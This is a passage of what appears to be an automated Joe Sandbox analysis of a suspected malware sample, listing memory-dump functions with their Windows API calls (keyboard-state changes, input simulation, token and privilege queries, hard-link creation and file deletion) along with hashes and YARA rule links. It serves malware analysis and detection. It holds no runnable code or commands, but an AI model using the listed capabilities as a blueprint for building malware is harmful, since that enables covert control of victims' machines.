Opcode Fuzzy Hash: 1b9efd61b95ed3a13337afde917d322704a139b11386abfcfbdf3eb636675305
Instruction Fuzzy Hash: 2D419075600200AFE720AF39C886F2A77E5EB45718F588458FA1A9F3D3D772DD428B91

Function 0091B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bba937667f69e834bffe38574f8391edf13e5b4d3da64c8287ba8adb51399e
Instruction ID: 9d3145677659bca4cd52a5085324674074f963cae57e7d1794f7c68c536ba48d
Opcode Fuzzy Hash: 58bba937667f69e834bffe38574f8391edf13e5b4d3da64c8287ba8adb51399e
Instruction Fuzzy Hash: 0D410871B00318AFD724AF78CC41BAABBEAEBC8710F10852EF156DB6D1D77199918790

Function 009556D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00955783
GetLastError.KERNEL32(?,00000000), ref: 009557A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 009557CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 009557FA

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 3ad9a2523867e59c2c60a6a0896506ace67c3628a291241bd61a1241aff81c00
Instruction ID: 21e83da1695cfd5f498cde62c5b9eb4f9271431bd57f210d2cce71045818fa54
Opcode Fuzzy Hash: 3ad9a2523867e59c2c60a6a0896506ace67c3628a291241bd61a1241aff81c00
Instruction Fuzzy Hash: 7C412D35600A50DFCB11DF1AC444A1EBBE5FF89321B198488ED5A9B362CB34FD45CB91

Function 0091D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00906D71,00000000,00000000,009082D9,?,009082D9,?,00000001,00906D71,8BE85006,00000001,009082D9,009082D9), ref: 0091D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0091D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0091D9AB
__freea.LIBCMT ref: 0091D9B4

Part of subcall function 00913820: RtlAllocateHeap.NTDLL(00000000,?,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6,?,008E1129), ref: 00913852

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 0c48abd95cf552bcb5e718d5e18b60ab45ace04d88d810477af643eace62501c
Instruction ID: c30ff670d3e7fec24622388258bba52c394b7fd1418eec9d5e3f7d959e8db187
Opcode Fuzzy Hash: 0c48abd95cf552bcb5e718d5e18b60ab45ace04d88d810477af643eace62501c
Instruction Fuzzy Hash: 3A31AD72B1221AABDF249F65DC45EEE7BA9EB41710B054168FC04D6290EB35DD90CBA0

Function 009752C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00975352
GetWindowLongW.USER32(?,000000F0), ref: 00975375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00975382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009753A8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41365cf2628503d12793a1f55a192cc0e82ca2b0ff640502661941349242ebfc
Instruction ID: 709dca058d738d3262a8f41ff499b206a5cf2450fd416bf531b8640dc12ac0ba
Opcode Fuzzy Hash: 41365cf2628503d12793a1f55a192cc0e82ca2b0ff640502661941349242ebfc
Instruction Fuzzy Hash: BF31E432B55A08EFEB749A14CC56BE83769AB043D0F598505FA18961F0C7F5AD80EB41

Function 0094AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 0094ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0094AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0094AC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 0094ACC6

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 036213c1031dfdddbf7a0a59a3837537220e30a1586b0d6c6ce2e820f7581468
Instruction ID: b59e71ed9ee1e18c2cb82873712a14425da008cc925beccc842d42b44cb6cf40
Opcode Fuzzy Hash: 036213c1031dfdddbf7a0a59a3837537220e30a1586b0d6c6ce2e820f7581468
Instruction Fuzzy Hash: EB313570A84319AFEF34CB658C84FFE7BA9AB89312F04471AE4C5931D0C3798D819792

Function 00977674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0097769A
GetWindowRect.USER32(?,?), ref: 00977710
PtInRect.USER32(?,?,00978B89), ref: 00977720
MessageBeep.USER32(00000000), ref: 0097778C

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2398558f3b9e71276d817cd3f5b2c66853d143082f007aee5cbaf8581401d097
Instruction ID: f48a8323bf33ebe074cf6054f051a75c84be3a448517bf5bf871732f5a14a93a
Opcode Fuzzy Hash: 2398558f3b9e71276d817cd3f5b2c66853d143082f007aee5cbaf8581401d097
Instruction Fuzzy Hash: 8741AD36609255EFCB09CF98D894EA9B7F5FB49314F1481A8E418DB261C330A941DF90

Function 009716DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 009716EB

Part of subcall function 00943A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00943A57
Part of subcall function 00943A3D: GetCurrentThreadId.KERNEL32 ref: 00943A5E
Part of subcall function 00943A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009425B3), ref: 00943A65

GetCaretPos.USER32(?), ref: 009716FF
ClientToScreen.USER32(00000000,?), ref: 0097174C
GetForegroundWindow.USER32 ref: 00971752

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 7cd6a3dd966574fb99a64b82a545b779eb080a4328275a09736ce879dfee0c08
Instruction ID: 91bd04c14affa14c1718ffaa3ed09077244aa6040641703d36e92ec6fcffcfe0
Opcode Fuzzy Hash: 7cd6a3dd966574fb99a64b82a545b779eb080a4328275a09736ce879dfee0c08
Instruction Fuzzy Hash: 41313072D00149AFC704DFAAC881DAEB7FDFF49304B548069E415E7211EA31DE45CBA1

Function 00978FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

GetCursorPos.USER32(?), ref: 00979001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00937711,?,?,?,?,?), ref: 00979016
GetCursorPos.USER32(?), ref: 0097905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00937711,?,?,?), ref: 00979094

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 3be6b526146d9996a51fa745707030d7b07a11cfbaaa98d3f00ab2a843bda33a
Instruction ID: a5a181798e08ac5fb962bdb22d444c5cb8e0699caccaaf92cd9bf1e41bec8d18
Opcode Fuzzy Hash: 3be6b526146d9996a51fa745707030d7b07a11cfbaaa98d3f00ab2a843bda33a
Instruction Fuzzy Hash: DA21A336621018EFDB258F94CC58EFA7BF9FF89360F048159F90987161C3319990EB60

Function 0094D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0097CB68), ref: 0094D2FB
GetLastError.KERNEL32 ref: 0094D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0094D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0097CB68), ref: 0094D376

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 02367dba8aeeb4de9f63614c020dc2386e8a5009aebe2aa4b5c6806b08350064
Instruction ID: a58cf01a0d4179cab1835d37d15f70d14eae0d63e11986a762f76b1fcee105d4
Opcode Fuzzy Hash: 02367dba8aeeb4de9f63614c020dc2386e8a5009aebe2aa4b5c6806b08350064
Instruction Fuzzy Hash: 3B21A17550A2019F8710DF28C88186A77E8FF96368F504A5DF4A9D32A1E730DE45CB93

Function 00941571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00941014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0094102A
Part of subcall function 00941014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00941036
Part of subcall function 00941014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00941045
Part of subcall function 00941014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0094104C
Part of subcall function 00941014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00941062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 009415BE
_memcmp.LIBVCRUNTIME ref: 009415E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00941617
HeapFree.KERNEL32(00000000), ref: 0094161E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 85732f6af64434cdec1c5d98b85111780b45edaaffcf43c956d3182943231252
Instruction ID: 26fcaa3b8d33b97adfb13a1e8b815006dcf237504a5750bdc52120595d24c009
Opcode Fuzzy Hash: 85732f6af64434cdec1c5d98b85111780b45edaaffcf43c956d3182943231252
Instruction Fuzzy Hash: 56219A72E00209EFDF04DFA4C945FEEB7B8EF84344F098459E445AB241E730AA85DBA0

Function 00972782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0097280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00972824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00972832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00972840

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 2922fe6f6448753732e6021232ceecb96b6ce3ba0cf33085e14cebeac56b6cce
Instruction ID: 230b6cb9ed3c17b6e12dbbb1dd08865fce5b84de65f712e9e01a0af57042a205
Opcode Fuzzy Hash: 2922fe6f6448753732e6021232ceecb96b6ce3ba0cf33085e14cebeac56b6cce
Instruction Fuzzy Hash: B621B632618511AFD7149B24C845FAA7B99FF86324F14815CF42ACB6D2C776FC82C791

Function 009478F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00948D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0094790A,?,000000FF,?,00948754,00000000,?,0000001C,?,?), ref: 00948D8C
Part of subcall function 00948D7D: lstrcpyW.KERNEL32(00000000,?,?,0094790A,?,000000FF,?,00948754,00000000,?,0000001C,?,?,00000000), ref: 00948DB2
Part of subcall function 00948D7D: lstrcmpiW.KERNEL32(00000000,?,0094790A,?,000000FF,?,00948754,00000000,?,0000001C,?,?), ref: 00948DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00948754,00000000,?,0000001C,?,?,00000000), ref: 00947923
lstrcpyW.KERNEL32(00000000,?,?,00948754,00000000,?,0000001C,?,?,00000000), ref: 00947949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00948754,00000000,?,0000001C,?,?,00000000), ref: 00947984

Strings

cdecl, xrefs: 0094797B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: f17e657706d7f331b597d70d3101c37793ea972c6d21ba94426bee274a6fb75c
Instruction ID: b9fa31bf7f25157a83a17f49247fb541627d2f41856c1c83fa24383412860a2d
Opcode Fuzzy Hash: f17e657706d7f331b597d70d3101c37793ea972c6d21ba94426bee274a6fb75c
Instruction Fuzzy Hash: 7B11223A204346AFCB159F78C844E7BB7A9FF85390B40402AF906CB3A4EB319801D7A1

Function 00977CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00977D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00977D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00977D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0095B7AD,00000000), ref: 00977D6B

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 0d39629b581245c1a10147dae865189388275a1f61a07fc5031dc22c49c4563a
Instruction ID: 3627afa4ac1c868c5480653976e53bc5e113838925bf1d049806bb73ebe4bc52
Opcode Fuzzy Hash: 0d39629b581245c1a10147dae865189388275a1f61a07fc5031dc22c49c4563a
Instruction Fuzzy Hash: 8511D233118615AFCB208FA8DC04AA67BA8BF85370B158728F83DC72F0D7318960DB90

Function 00975660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 009756BB
_wcslen.LIBCMT ref: 009756CD
_wcslen.LIBCMT ref: 009756D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00975816

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: aa7f5b34a3cd3efd689a57e2e7adf04140d3166ec5afcb51b215f7e255bf7128
Instruction ID: efe0420b01e764d04e5245719990b3ce7cbbdf5bad128238048a8c26e3d98494
Opcode Fuzzy Hash: aa7f5b34a3cd3efd689a57e2e7adf04140d3166ec5afcb51b215f7e255bf7128
Instruction Fuzzy Hash: 1C11D373A006089ADF609F61CC85AEE77ACEF50764F51C42AFA1DD6081E7B4DA80CB60

Function 00941A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00941A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00941A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00941A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00941A8A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 77a23dfa78c7c64420961047ebf48eab09e82899bd551fec170d9b9f6f91bf66
Instruction ID: f5e2fff707b31e11993dae7f4fedebc56b1f99e6e61a399b769761c2b77bd29d
Opcode Fuzzy Hash: 77a23dfa78c7c64420961047ebf48eab09e82899bd551fec170d9b9f6f91bf66
Instruction Fuzzy Hash: 5611397AD01219FFEF10DBA4CD85FADBB78EB08750F200495EA04B7290D671AE90DB94

Function 0094E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0094E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0094E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0094E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0094E24D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 74b61ef5c8fa9472da737143d60e93a966090ea6b75862f0afb196b87e573966
Instruction ID: 8d1c0cae9255499256d2bcb6e09085ff97e937d7e828686580589d5aa7e7f862
Opcode Fuzzy Hash: 74b61ef5c8fa9472da737143d60e93a966090ea6b75862f0afb196b87e573966
Instruction Fuzzy Hash: 43112BB6918214BFC7019FA89C09EAF7FECAB45320F404329F825E3290D6B0CD0097A0

Function 0090D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0090CFF9,00000000,00000004,00000000), ref: 0090D218
GetLastError.KERNEL32 ref: 0090D224
__dosmaperr.LIBCMT ref: 0090D22B
ResumeThread.KERNEL32(00000000), ref: 0090D249

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: c599bee6fbadac923d0c820bb22fb3065eaf4e577988f5274e0a4c7a26a0fd65
